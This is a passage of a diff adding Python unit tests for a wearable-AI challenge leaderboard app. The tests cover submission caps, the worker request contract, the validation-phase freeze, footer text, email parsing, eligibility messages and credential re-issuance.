+ self.records["requests/test/convqa/large/bad/request.json"] = "{not json"
293
+ self.assertEqual(1, self._count())
294
+
295
+ def test_a_listing_failure_reports_zero_and_leaves_the_gate_to_the_worker(self):
296
+ class Broken(FakeApi):
297
+ def list_repo_files(self, repo_id, repo_type=None):
298
+ raise RuntimeError("hf is down")
299
+
300
+ self.assertEqual(0, st.count_test_submissions(Broken(), "team_a", "convqa", "large"))
301
+
302
+
303
+ class SubmitTest(unittest.TestCase):
304
+ def setUp(self):
305
+ self.api = FakeApi()
306
+ p1 = mock.patch.object(st, "HfApi", lambda token=None: self.api)
307
+ p2 = mock.patch.object(config, "TEST_PHASE_OPEN", True)
308
+ p3 = mock.patch.object(st, "count_test_submissions", lambda *a, **k: self.held)
309
+ for p in (p1, p2, p3):
310
+ p.start()
311
+ self.addCleanup(p.stop)
312
+ self.held = 0
313
+
314
+ def _submit(self, **over):
315
+ kw = dict(hf_user="team_a", track="convqa", division="large",
316
+ team_name="Team A", model_name="M-8B", license_str="apache-2.0",
317
+ open_weight=True, total_params=8_000_000_000,
318
+ active_params=8_000_000_000, image_ref=REF, image_digest=DIGEST,
319
+ token="t")
320
+ kw.update(over)
321
+ return st.validate_and_submit(**kw)
322
+
323
+ def _written(self):
324
+ self.assertEqual(1, len(self.api.uploads))
325
+ path, body, _ = self.api.uploads[0]
326
+ return path, json.loads(body)
327
+
328
+ def test_a_valid_registration_writes_one_request_and_nothing_else(self):
329
+ ok, msg = self._submit()
330
+ self.assertTrue(ok, msg)
331
+ path, obj = self._written()
332
+ self.assertTrue(path.startswith("requests/test/convqa/large/"))
333
+ self.assertTrue(path.endswith("/request.json"))
334
+ self.assertEqual("PENDING", obj["status"])
335
+ self.assertEqual("test", obj["phase"])
336
+
337
+ def test_no_predictions_file_is_uploaded(self):
338
+ # The whole point of the phase: the team ships an image, not answers.
339
+ self._submit()
340
+ self.assertEqual([], [p for p, _, _ in self.api.uploads if p.endswith(".jsonl")])
341
+
342
+ def test_the_image_is_recorded_by_digest(self):
343
+ self._submit()
344
+ _, obj = self._written()
345
+ self.assertEqual(REF, obj["image"]["ref"])
346
+ self.assertEqual(DIGEST, obj["image"]["digest"])
347
+ self.assertNotIn(":latest", json.dumps(obj))
348
+
349
+ def test_the_submission_id_is_in_the_path_and_the_body(self):
350
+ self._submit()
351
+ path, obj = self._written()
352
+ self.assertEqual(obj["submission_id"], path.split("/")[-2])
353
+
354
+ def test_the_cap_refuses_the_fourth_and_writes_nothing(self):
355
+ self.held = config.MAX_TEST_SUBMISSIONS_PER_TRACK
356
+ ok, why = self._submit()
357
+ self.assertFalse(ok)
358
+ self.assertIn("limit reached", why)
359
+ self.assertEqual([], self.api.uploads)
360
+
361
+ def test_the_last_allowed_submission_is_accepted_and_reports_zero_left(self):
362
+ self.held = config.MAX_TEST_SUBMISSIONS_PER_TRACK - 1
363
+ ok, msg = self._submit()
364
+ self.assertTrue(ok, msg)
365
+ self.assertIn("0 of", msg)
366
+
367
+ def test_a_closed_phase_refuses_everything(self):
368
+ with mock.patch.object(config, "TEST_PHASE_OPEN", False):
369
+ ok, why = self._submit()
370
+ self.assertFalse(ok)
371
+ self.assertIn("not open", why)
372
+ self.assertEqual([], self.api.uploads)
373
+
374
+ def test_a_missing_team_name_or_token_is_refused_before_any_upload(self):
375
+ self.assertFalse(self._submit(team_name=" ")[0])
376
+ self.assertFalse(self._submit(token="")[0])
377
+ self.assertEqual([], self.api.uploads)
378
+
379
+ def test_an_invalid_image_is_refused_before_any_upload(self):
380
+ ok, _ = self._submit(image_ref="docker.io/x/y")
381
+ self.assertFalse(ok)
382
+ self.assertEqual([], self.api.uploads)
383
+
384
+ def test_an_upload_failure_does_not_leak_the_exception_to_the_ui(self):
385
+ class Boom(FakeApi):
386
+ def upload_file(self, **kw):
387
+ raise RuntimeError("s3://internal-bucket/secret path denied")
388
+
389
+ with mock.patch.object(st, "HfApi", lambda token=None: Boom()):
390
+ ok, why = self._submit()
391
+ self.assertFalse(ok)
392
+ self.assertNotIn("internal-bucket", why)
393
+ self.assertIn("retry", why)
394
+
395
+
396
+ class WorkerContractTest(unittest.TestCase):
397
+ """The request written here must be one the organizers' worker accepts.
398
+
399
+ The worker lives outside this repository and cannot be imported from this
400
+ repo, so its contract is restated here. If a field name below changes, change
401
+ it in BOTH places; a mismatch is silent, and its symptom is a team whose
402
+ submission is written successfully and then never scored.
403
+
404
+ The reverse direction is pinned on the worker's side, where
405
+ tests/test_test_phase_worker.py runs parse_request() against this same shape.
406
+ """
407
+
408
+ # From test_phase_worker.parse_request(): fields it requires non-empty, and
409
+ # the two anchored patterns it applies.
410
+ WORKER_REQUIRED = ("submission_id", "track", "division", "team_name", "hf_user")
411
+ WORKER_PHASE = "test"
412
+ WORKER_TRACKS = ("convqa", "longqa", "proactive")
413
+ WORKER_DIVISIONS = ("small", "large")
414
+ WORKER_ECR_RE = (
415
+ r"^(?P<registry>\d{12}\.dkr\.ecr\.[a-z0-9-]+\.amazonaws\.com)"
416
+ r"/(?P<repository>[a-z0-9][a-z0-9._/-]*[a-z0-9])$"
417
+ )
418
+ WORKER_DIGEST_RE = r"^sha256:[0-9a-f]{64}$"
419
+
420
+ def setUp(self):
421
+ self.api = FakeApi()
422
+ for p in (
423
+ mock.patch.object(st, "HfApi", lambda token=None: self.api),
424
+ mock.patch.object(config, "TEST_PHASE_OPEN", True),
425
+ mock.patch.object(st, "count_test_submissions", lambda *a, **k: 0),
426
+ ):
427
+ p.start()
428
+ self.addCleanup(p.stop)
429
+
430
+ def _emit(self, track="convqa", division="large"):
431
+ params = 8_000_000_000 if division == "large" else 1_000_000_000
432
+ ok, msg = st.validate_and_submit(
433
+ hf_user="team_a", track=track, division=division, team_name="Team A",
434
+ model_name="M-8B", license_str="apache-2.0", open_weight=True,
435
+ total_params=params, active_params=params,
436
+ image_ref=REF, image_digest=DIGEST, token="t")
437
+ self.assertTrue(ok, msg)
438
+ return json.loads(self.api.uploads[-1][1])
439
+
440
+ def test_the_emitted_request_satisfies_every_worker_requirement(self):
441
+ obj = self._emit()
442
+ self.assertEqual(self.WORKER_PHASE, obj.get("phase"))
443
+ for k in self.WORKER_REQUIRED:
444
+ self.assertTrue(obj.get(k), f"worker requires a non-empty {k!r}")
445
+ self.assertIn(obj["track"], self.WORKER_TRACKS)
446
+ self.assertIn(obj["division"], self.WORKER_DIVISIONS)
447
+ image = obj.get("image") or {}
448
+ self.assertTrue(re.match(self.WORKER_ECR_RE, image.get("ref", "")))
449
+ self.assertTrue(re.match(self.WORKER_DIGEST_RE, image.get("digest", "")))
450
+
451
+ def test_every_track_and_division_the_ui_offers_is_one_the_worker_knows(self):
452
+ # A track offered on the Test tab and not known to the worker would be
453
+ # rejected after the team spent a slot. TEST_TRACKS is what the tab
454
+ # offers; TRACKS is the full set the worker parses, and the test phase
455
+ # deliberately offers fewer, so this is a subset check, not equality.
456
+ self.assertTrue(set(config.TEST_TRACKS) <= set(self.WORKER_TRACKS))
457
+ self.assertEqual(set(self.WORKER_TRACKS), set(config.TRACKS))
458
+ self.assertEqual(set(self.WORKER_DIVISIONS), set(config.DIVISIONS))
459
+
460
+ def test_this_repos_patterns_are_the_workers_patterns(self):
461
+ self.assertEqual(self.WORKER_ECR_RE, config.ECR_REF_RE)
462
+ self.assertEqual(self.WORKER_DIGEST_RE, config.DIGEST_RE)
463
+
464
+ def test_the_path_matches_where_the_worker_looks(self):
465
+ # The worker globs requests/test/**/request.json and derives nothing else
466
+ # from the path, but it does read the submission id back out of it.
467
+ obj = self._emit(track="longqa", division="small")
468
+ path = self.api.uploads[-1][0]
469
+ self.assertEqual(
470
+ f"requests/test/longqa/small/{obj['submission_id']}/request.json", path)
471
+
472
+
473
+ class NoTestClassIsStrandedTest(unittest.TestCase):
474
+ """The __main__ guard must be the last thing in the file.
475
+
476
+ `python3 <file>` calls unittest.main() at the guard, so any class below it is
477
+ never defined and is silently skipped while the run still prints OK. This bit
478
+ the organizers' worker suite at 10 of 16 classes stranded.
479
+ """
480
+
481
+ def test_no_test_class_is_declared_below_the_main_guard(self):
482
+ import ast
483
+
484
+ with open(__file__, encoding="utf-8") as fh:
485
+ tree = ast.parse(fh.read())
486
+ guards = [n.lineno for n in ast.walk(tree)
487
+ if isinstance(n, ast.If) and "__main__" in ast.dump(n.test)]
488
+ self.assertEqual(1, len(guards), "expected exactly one __main__ guard")
489
+ stranded = [n.name for n in tree.body
490
+ if isinstance(n, ast.ClassDef) and n.lineno > guards[0]]
491
+ self.assertEqual([], stranded, f"classes below the guard: {stranded}")
492
+
493
+
494
+ class TestPhaseOffersOnlyScorableTracksTest(unittest.TestCase):
495
+ """The Test tab must not offer a track we cannot score.
496
+
497
+ Registration is what consumes one of a team's three per-track slots, so a
498
+ track offered without staged gold costs the participant a slot and returns
499
+ nothing. EgoProactive is exactly that today: the split list exists but the
500
+ gold jsonl and the staged test videos do not.
501
+
502
+ If the proactive test gold is staged later, add "proactive" to
503
+ config.TEST_TRACKS and this whole class goes green with no other edit; the
504
+ first test below is the one that will start failing, which is the intent.
505
+ """
506
+
507
+ def test_the_offered_tracks_are_exactly_the_unblocked_ones(self):
508
+ # Assert the DERIVATION, not the current membership. An earlier version
509
+ # of this class pinned "proactive" absent, which meant the documented
510
+ # one-line reopen (delete its TEST_TRACKS_BLOCKED entry) failed the
511
+ # suite -- the test contradicted the comment telling you how to change
512
+ # it. Now removing the entry is genuinely the only edit needed.
513
+ self.assertEqual(
514
+ [t for t in config.TRACKS if t not in config.TEST_TRACKS_BLOCKED],
515
+ config.TEST_TRACKS,
516
+ )
517
+
518
+ def test_every_blocked_track_is_real_and_carries_a_reason(self):
519
+ for t, why in config.TEST_TRACKS_BLOCKED.items():
520
+ self.assertIn(t, config.TRACKS, f"{t} is blocked but is not a track")
521
+ self.assertGreater(len(why), 40, f"{t} is blocked without a reason")
522
+
523
+ def test_the_test_tracks_are_a_subset_of_the_tracks(self):
524
+ self.assertTrue(set(config.TEST_TRACKS) <= set(config.TRACKS))
525
+
526
+ def test_no_unmanaged_open_in_this_file(self):
527
+ # The ResourceWarning that prompted this: one bare open() among the
528
+ # with-statements, invisible under a normal run and fatal under
529
+ # -W error::ResourceWarning.
530
+ import ast
531
+
532
+ with open(__file__, encoding="utf-8") as fh:
533
+ tree = ast.parse(fh.read())
534
+ managed = set()
535
+ for n in ast.walk(tree):
536
+ if isinstance(n, (ast.With, ast.AsyncWith)):
537
+ for item in n.items:
538
+ if isinstance(item.context_expr, ast.Call):
539
+ managed.add(id(item.context_expr))
540
+ bare = [
541
+ n.lineno
542
+ for n in ast.walk(tree)
543
+ if isinstance(n, ast.Call)
544
+ and isinstance(n.func, ast.Name)
545
+ and n.func.id == "open"
546
+ and id(n) not in managed
547
+ ]
548
+ self.assertEqual([], bare, f"unmanaged open() at line(s): {bare}")
549
+
550
+ def test_every_offered_track_has_a_label_and_a_config_folder(self):
551
+ for t in config.TEST_TRACKS:
552
+ self.assertIn(t, config.TRACK_LABELS)
553
+ self.assertIn(t, config.TRACK_CONFIG)
554
+
555
+ def test_the_test_tab_radio_is_built_from_test_tracks(self):
556
+ # The radio is built at import time inside a gradio Blocks context, so
557
+ # it cannot be introspected here. Assert on the source instead: the
558
+ # Test tab is the SECOND track radio in app.py, and it must not be
559
+ # wired to config.TRACKS.
560
+ import ast
561
+
562
+ app_py = os.path.join(
563
+ os.path.dirname(os.path.dirname(os.path.abspath(__file__))), "app.py"
564
+ )
565
+ with open(app_py, encoding="utf-8") as fh:
566
+ tree = ast.parse(fh.read())
567
+ radios = [
568
+ n
569
+ for n in ast.walk(tree)
570
+ if isinstance(n, ast.Call)
571
+ and isinstance(n.func, ast.Attribute)
572
+ and n.func.attr == "Radio"
573
+ and any(
574
+ isinstance(k, ast.keyword) and k.arg == "label"
575
+ and getattr(k.value, "value", None) == "Track"
576
+ for k in n.keywords
577
+ )
578
+ ]
579
+ # Re-pointed 2026-08-06: registration added a third Track radio. The
580
+ # property is unchanged and now covers it: only the VALIDATION radio may
581
+ # offer config.TRACKS. Every radio on a test-phase form must be built
582
+ # from TEST_TRACKS, or the form offers a track the phase cannot score
583
+ # and a team spends a seat on it.
584
+ sources = [ast.unparse(r.args[0]) for r in radios]
585
+ self.assertEqual(3, len(radios), f"Track radios found: {sources}")
586
+ self.assertEqual(1, sources.count("config.TRACKS"), "only Validation may use TRACKS")
587
+ self.assertEqual(2, sources.count("config.TEST_TRACKS"), sources)
588
+ self.assertEqual("config.TRACKS", sources[0], "Validation tab is built first")
589
+
590
+ def test_the_form_sections_are_numbered_like_the_instructions(self):
591
+ """The tab has two forms and a four-step guide; they must agree.
592
+
593
+ Before this, the guide called submission Step 4 while the form section
594
+ above it said "Step 2", so a participant reading both got two different
595
+ numbers for the same action. Pinned because the two live ~300 lines
596
+ apart and drift silently.
597
+ """
598
+ app_py = os.path.join(
599
+ os.path.dirname(os.path.dirname(os.path.abspath(__file__))), "app.py"
600
+ )
601
+ with open(app_py, encoding="utf-8") as fh:
602
+ src = fh.read()
603
+
604
+ guide = re.findall(r"^### Step (\d) — (.+)$", src, re.M)
605
+ self.assertEqual(["1", "2", "3", "4"], [n for n, _ in guide],
606
+ f"guide steps are not 1-4: {guide}")
607
+
608
+ # Every step the guide names must be reachable from the tab: either as a
609
+ # form section of its own, or named in the pointer that covers it.
610
+ for n, title in guide:
611
+ self.assertIn(f"Step {n}", src, f"guide Step {n} ({title}) is unreachable")
612
+
613
+ # The two interactive sections carry the guide's own numbers, and the
614
+ # two off-page steps are covered by one section between them, so the tab
615
+ # reads 1, 2-3, 4 with no gap and no bare heading breaking the rhythm.
616
+ self.assertIn('"Step 1 — Register your team', src)
617
+ self.assertIn('"Steps 2 and 3 — Build your image', src)
618
+ self.assertIn('"Step 4 — Submit an image for evaluation"', src)
619
+ self.assertNotIn('"Step 2 — Register an image', src)
620
+
621
+ def test_every_step_of_the_test_tab_is_the_same_kind_of_section(self):
622
+ """All four steps are accordions; none is a bare heading.
623
+
624
+ Steps 1 and 4 were accordions while 2 and 3 were an H3 with loose prose
625
+ between them, so the middle of the flow looked like a different kind of
626
+ thing and read as a divider rather than a step.
627
+ """
628
+ app_py = os.path.join(
629
+ os.path.dirname(os.path.dirname(os.path.abspath(__file__))), "app.py"
630
+ )
631
+ with open(app_py, encoding="utf-8") as fh:
632
+ src = fh.read()
633
+ tab = src[src.index("def test_register_section"):src.index("def submit_tab")]
634
+ for title in ('"Step 1 — Register your team',
635
+ '"Steps 2 and 3 — Build your image',
636
+ '"Step 4 — Submit an image for evaluation"'):
637
+ i = tab.index(title)
638
+ before = tab[max(0, i - 200):i]
639
+ self.assertIn("gr.Accordion", before, f"{title} is not an accordion")
640
+ # No step is a markdown heading.
641
+ self.assertNotIn("### Step", tab)
642
+ self.assertNotIn("### Steps", tab)
643
+
644
+ def test_the_test_tab_has_exactly_one_sign_in_button(self):
645
+ # Both forms need the same session. Two buttons on one tab read as two
646
+ # different logins and invite a participant to sign in twice.
647
+ app_py = os.path.join(
648
+ os.path.dirname(os.path.dirname(os.path.abspath(__file__))), "app.py"
649
+ )
650
+ with open(app_py, encoding="utf-8") as fh:
651
+ src = fh.read()
652
+ section = src[src.index("def test_register_section"):src.index("def submit_tab")]
653
+ self.assertEqual(1, section.count("gr.LoginButton"),
654
+ "the Test tab must have exactly one LoginButton")
655
+
656
+ def test_a_blocked_track_is_refused_with_a_useful_message(self):
657
+ # Generic over TEST_TRACKS_BLOCKED, not hardcoded to proactive, so that
658
+ # emptying that dict (the documented one-line reopen) leaves this green.
659
+ # The last block always runs, so this is never a vacuous pass.
660
+ args = dict(
661
+ division="large",
662
+ total_params=8_000_000_000,
663
+ active_params=8_000_000_000,
664
+ image_ref="123456789012.dkr.ecr.us-east-2.amazonaws.com/wearable-ai-2026/t",
665
+ image_digest="sha256:" + "a" * 64,
666
+ )
667
+ for t in config.TEST_TRACKS_BLOCKED:
668
+ ok, why = st.validate_only(track=t, **args)
669
+ self.assertFalse(ok, f"{t} is blocked but validated")
670
+ # Not "unknown track": it is a real track with no test gold.
671
+ self.assertNotIn("Unknown track", why)
672
+ self.assertIn("cannot score", why)
673
+ for open_t in config.TEST_TRACKS:
674
+ self.assertIn(config.TRACK_LABELS[open_t], why)
675
+
676
+ self.assertTrue(config.TEST_TRACKS, "the test phase offers no tracks at all")
677
+ for t in config.TEST_TRACKS:
678
+ ok, why = st.validate_only(track=t, **args)
679
+ self.assertTrue(ok, f"{t} is offered but does not validate: {why}")
680
+
681
+ if __name__ == "__main__":
682
+ unittest.main()
tests/test_val_phase_closed.py ADDED
@@ -0,0 +1,346 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ #!/usr/bin/env python3
2
+ """The validation freeze, and specifically that it is not just the button.
3
+
4
+ Disabling a Gradio button hides an action; it does not remove the endpoint
5
+ behind it. So what these pin is the server-side refusal, plus the two things
6
+ that must keep working while the phase is closed: the format checker, which
7
+ writes nothing, and the test-phase path, which is a different phase.
8
+ """
9
+
10
+ from __future__ import annotations
11
+
12
+ import os
13
+ import sys
14
+ import unittest
15
+ from unittest import mock
16
+
17
+ sys.path.insert(0, os.path.join(os.path.dirname(os.path.abspath(__file__)), os.pardir))
18
+
19
+ import config # noqa: E402
20
+ import submit # noqa: E402
21
+
22
+ ONE_ROW = '{"video_path": "a.mp4", "answers": ["x"]}\n'
23
+
24
+ ARGS = dict(
25
+ hf_user="someone",
26
+ track="convqa",
27
+ division="small",
28
+ team_name="A Team",
29
+ model_name="m",
30
+ license_str="mit",
31
+ open_weight=True,
32
+ total_params=1_000_000_000,
33
+ active_params=1_000_000_000,
34
+ predictions_raw=ONE_ROW,
35
+ token="not-a-real-token",
36
+ )
37
+
38
+
39
+ class ValPhaseFreezeTest(unittest.TestCase):
40
+ def test_closed_by_default(self) -> None:
41
+ """The freeze must not depend on anyone setting a secret."""
42
+ self.assertFalse(
43
+ config.VAL_PHASE_OPEN,
44
+ "VAL_PHASE_OPEN defaults open, so shipping this would not freeze "
45
+ "anything until a secret was set",
46
+ )
47
+
48
+ def test_submit_is_refused_while_closed(self) -> None:
49
+ with mock.patch.object(config, "VAL_PHASE_OPEN", False):
50
+ ok, msg = submit.validate_and_submit(**ARGS)
51
+ self.assertFalse(ok)
52
+ self.assertIn("Validation Phase is closed", msg)
53
+
54
+ def test_the_refusal_happens_before_anything_is_read_or_written(self) -> None:
55
+ """A closed phase is not a validation failure.
56
+
57
+ If the freeze sat after validate_only(), a team with a malformed file
58
+ would be told to fix the file, and a team with a good one would have it
59
+ parsed and uploaded before being refused.
60
+ """
61
+ with mock.patch.object(config, "VAL_PHASE_OPEN", False):
62
+ with mock.patch.object(
63
+ submit, "parse_predictions", side_effect=AssertionError("parsed")
64
+ ):
65
+ ok, msg = submit.validate_and_submit(**ARGS)
66
+ self.assertFalse(ok)
67
+ self.assertIn("Validation Phase is closed", msg)
68
+
69
+ def test_reopening_gets_past_the_freeze(self) -> None:
70
+ """The control: with the flag flipped the refusal must disappear.
71
+
72
+ It still fails, on the row count, which is the point. A test that only
73
+ checked the closed case would pass against a freeze that refuses
74
+ everything unconditionally.
75
+ """
76
+ with mock.patch.object(config, "VAL_PHASE_OPEN", True):
77
+ ok, msg = submit.validate_and_submit(**ARGS)
78
+ self.assertFalse(ok, "one row is not a valid submission")
79
+ self.assertNotIn("Validation Phase is closed", msg)
80
+ self.assertIn("700", msg)
81
+
82
+ def test_the_format_checker_still_works_while_closed(self) -> None:
83
+ """It writes nothing and is useful to a team preparing for the test."""
84
+ with mock.patch.object(config, "VAL_PHASE_OPEN", False):
85
+ ok, msg = submit.validate_only(
86
+ track="convqa",
87
+ division="small",
88
+ total_params=1_000_000_000,
89
+ active_params=1_000_000_000,
90
+ predictions_raw=ONE_ROW,
91
+ )
92
+ self.assertFalse(ok)
93
+ self.assertNotIn("closed", msg.lower())
94
+
95
+ def test_the_notice_reads_correctly_in_both_places(self) -> None:
96
+ """It is shown on the Leaderboard tab and the Submit tab."""
97
+ notice = config.VAL_CLOSED_NOTICE
98
+ for word in ("below", "above"):
99
+ self.assertNotIn(
100
+ word,
101
+ notice.lower(),
102
+ "the notice is placed on two tabs, so it cannot point at one",
103
+ )
104
+ self.assertIn("closed", notice.lower())
105
+
106
+
107
+ class BoardFooterTest(unittest.TestCase):
108
+ """What the board says about its own freshness.
109
+
110
+ The footer used to hardcode "auto-refreshes every 60s" regardless of the
111
+ timer, so the Test board advertised 60 while refreshing every 120. It is now
112
+ driven by the interval the caller actually set, which is the same value that
113
+ decides whether a timer exists at all.
114
+ """
115
+
116
+ def setUp(self) -> None:
117
+ import pandas as pd
118
+
119
+ import results
120
+
121
+ self.results = results
122
+ self.df = pd.DataFrame(
123
+ [
124
+ {
125
+ "phase": "val",
126
+ "status": "FINISHED",
127
+ "verified_at": "2026-08-01T10:00:00Z",
128
+ },
129
+ {
130
+ "phase": "val",
131
+ "status": "FINISHED",
132
+ "verified_at": "2026-08-07T22:31:04Z",
133
+ },
134
+ ]
135
+ )
136
+
137
+ def test_a_frozen_board_advertises_no_refresh(self) -> None:
138
+ line = self.results._footer_line(self.df, "val", None)
139
+ self.assertNotIn("refresh", line.lower())
140
+ self.assertIn("Final standings", line)
141
+
142
+ def test_a_frozen_board_reports_the_age_of_the_data(self) -> None:
143
+ """Not its render time, which for a final board means nothing."""
144
+ line = self.results._footer_line(self.df, "val", None)
145
+ self.assertIn("2026-08-07 22:31:04", line, "the latest scored submission")
146
+ self.assertNotIn("2026-08-01", line, "not the earliest")
147
+
148
+ def test_the_advertised_interval_is_the_one_that_was_set(self) -> None:
149
+ for seconds, expected in [(300, "every 5 min"), (60, "every 1 min"), (90, "every 90s")]:
150
+ with self.subTest(seconds=seconds):
151
+ self.assertIn(expected, self.results._footer_line(self.df, "val", seconds))
152
+
153
+ def test_no_timer_is_created_for_a_frozen_board(self) -> None:
154
+ """The footer is a claim; this is the behaviour behind it.
155
+
156
+ Read as source rather than imported: app.py needs gradio, which is not
157
+ installed everywhere the tests run, and a test that skips itself when a
158
+ dependency is missing reports nothing while looking green.
159
+ """
160
+ path = os.path.join(
161
+ os.path.dirname(os.path.abspath(__file__)), os.pardir, "app.py"
162
+ )
163
+ with open(path) as fh:
164
+ src = fh.read()
165
+ board = src[src.index("def _phase_board("):]
166
+ board = board[: board.index("\ndef ", 1)]
167
+ self.assertIn("if interval:", board, "the timer must be conditional")
168
+ self.assertNotIn(
169
+ "gr.Timer(interval).tick(\n lambda o: _iframe(phase, o, force=True)\n",
170
+ board.replace("if interval:", ""),
171
+ )
172
+ tab = src[src.index("def leaderboard_tab():"):]
173
+ tab = tab[: tab.index("\ndef ", 1)]
174
+ self.assertIn('_phase_board("val", None', tab, "validation must not poll")
175
+ self.assertIn('_phase_board("test", 300', tab, "test polls every 5 min")
176
+
177
+
178
+ class PointOfContactInputTest(unittest.TestCase):
179
+ """The members box above asks for `Name, email`, so people paste that here.
180
+
181
+ Rejecting it is technically correct and useless: the participant has typed
182
+ their own address correctly and is told it is not an address.
183
+ """
184
+
185
+ def setUp(self) -> None:
186
+ import register_test
187
+
188
+ self.rt = register_test
189
+
190
+ def test_a_bare_address_is_accepted(self) -> None:
191
+ self.assertEqual(self.rt.parse_email("ada@example.com")[0], "ada@example.com")
192
+
193
+ def test_a_pasted_roster_line_is_accepted(self) -> None:
194
+ for raw in ("Ada Lovelace, ada@example.com", " Ada Lovelace , ada@example.com "):
195
+ with self.subTest(raw=raw):
196
+ self.assertEqual(self.rt.parse_email(raw)[0], "ada@example.com")
197
+
198
+ def test_two_addresses_are_still_refused(self) -> None:
199
+ """Ambiguous, so guessing one would write to the wrong person."""
200
+ got, why = self.rt.parse_email("ada@example.com, alan@example.org")
201
+ self.assertIsNone(got)
202
+ self.assertIn("does not look like an email", why)
203
+
204
+ def test_the_refusal_says_what_to_type(self) -> None:
205
+ _, why = self.rt.parse_email("Ada Lovelace")
206
+ self.assertIn("Enter just the address", why)
207
+ self.assertIn("ada@example.com", why)
208
+
209
+ def test_an_empty_box_is_still_refused(self) -> None:
210
+ self.assertIsNone(self.rt.parse_email("")[0])
211
+
212
+
213
+ class EligibilityFailureMessagesTest(unittest.TestCase):
214
+ """Which failure the participant is told about.
215
+
216
+ All three sources used to load in one try, so a missing credentials file
217
+ reported as "could not check eligibility": the opposite of what happened,
218
+ since eligibility was never checked, and it told a shortlisted team to retry
219
+ something that could not succeed until an organizer uploaded a file.
220
+ """
221
+
222
+ def setUp(self) -> None:
223
+ import config
224
+ import register_test
225
+
226
+ self.rt = register_test
227
+ self.config = config
228
+ self.args = dict(
229
+ hf_user="someone",
230
+ team_name="A Team",
231
+ track="convqa",
232
+ division="small",
233
+ members="Ada Lovelace, ada@example.com",
234
+ poc="ada@example.com",
235
+ model_name="m",
236
+ total_params_b=1,
237
+ )
238
+
239
+ def issue(self):
240
+ with mock.patch.object(self.config, "TEST_PHASE_OPEN", True):
241
+ return self.rt.issue(mock.MagicMock(), **self.args)
242
+
243
+ def test_a_missing_credentials_file_is_not_reported_as_an_eligibility_problem(self):
244
+ """It is a state, not a failure: nothing has been issued yet."""
245
+ from huggingface_hub.errors import EntryNotFoundError
246
+
247
+ with mock.patch.object(self.rt, "load_shortlist", return_value={"a team": {"convqa/small": {}}}), \
248
+ mock.patch.object(self.rt, "validation_pairs", return_value={("someone", "a team")}), \
249
+ mock.patch.object(self.rt, "load_credentials", side_effect=EntryNotFoundError("404")):
250
+ ok, msg = self.issue()
251
+ self.assertFalse(ok)
252
+ self.assertIn("shortlisted", msg)
253
+ self.assertIn("not been issued yet", msg)
254
+ self.assertNotIn("Could not read", msg)
255
+ self.assertNotIn("retry in a few minutes", msg)
256
+
257
+ def test_an_unreadable_shortlist_says_so(self) -> None:
258
+ with mock.patch.object(self.rt, "load_shortlist", side_effect=OSError("boom")):
259
+ ok, msg = self.issue()
260
+ self.assertFalse(ok)
261
+ self.assertIn("shortlist", msg.lower())
262
+ self.assertIn("on our side", msg)
263
+
264
+ def test_unreadable_validation_results_say_so(self) -> None:
265
+ with mock.patch.object(self.rt, "load_shortlist", return_value={}), \
266
+ mock.patch.object(self.rt, "validation_pairs", side_effect=OSError("boom")):
267
+ ok, msg = self.issue()
268
+ self.assertFalse(ok)
269
+ self.assertIn("validation results", msg.lower())
270
+
271
+ def test_no_message_leaks_the_private_repo_path(self) -> None:
272
+ """The reason they were generic in the first place."""
273
+ for patch in (
274
+ mock.patch.object(self.rt, "load_shortlist", side_effect=OSError("facebook/wearable-ai-leaderboard-requests/admin/x.json")),
275
+ ):
276
+ with patch:
277
+ _, msg = self.issue()
278
+ self.assertNotIn("wearable-ai-leaderboard-requests", msg)
279
+ self.assertNotIn("admin/", msg)
280
+
281
+
282
+ class RegistrationIsIdempotentTest(unittest.TestCase):
283
+ """Registering the same seat twice.
284
+
285
+ Idempotent in the ways that matter: nothing is minted, no submission slot is
286
+ spent, and the same credentials come back. The ledger is deliberately NOT
287
+ idempotent, one row per claim, because it records how many times a key was
288
+ shown rather than acting as a lock; a team that loses the page has to be
289
+ able to get it back.
290
+ """
291
+
292
+ def setUp(self) -> None:
293
+ import config
294
+ import register_test
295
+
296
+ self.rt = register_test
297
+ self.config = config
298
+ self.cred = {
299
+ "repo_uri": "1234.dkr.ecr.us-east-2.amazonaws.com/wearable-ai-2026/a-team",
300
+ "access_key_id": "AKIAIOSFODNN7EXAMPLE",
301
+ "secret_access_key": "not-a-real-secret",
302
+ "region": "us-east-2",
303
+ }
304
+
305
+ def issue_twice(self, params=(1, 1)):
306
+ api = mock.MagicMock()
307
+ out = []
308
+ with mock.patch.object(self.config, "TEST_PHASE_OPEN", True), \
309
+ mock.patch.object(self.rt, "load_shortlist",
310
+ return_value={"a team": {"convqa/small": {}}}), \
311
+ mock.patch.object(self.rt, "validation_pairs",
312
+ return_value={("someone", "a team")}), \
313
+ mock.patch.object(self.rt, "load_credentials",
314
+ return_value={"a team": self.cred}):
315
+ for p in params:
316
+ out.append(
317
+ self.rt.issue(api, "someone", "A Team", "convqa", "small",
318
+ "Ada Lovelace, ada@example.com", "ada@example.com",
319
+ "m", p)
320
+ )
321
+ return api, out
322
+
323
+ def test_the_same_credentials_come_back(self) -> None:
324
+ _, out = self.issue_twice()
325
+ self.assertTrue(all(ok for ok, _ in out))
326
+ self.assertEqual(out[0][1], out[1][1], "the second claim must render the same")
327
+
328
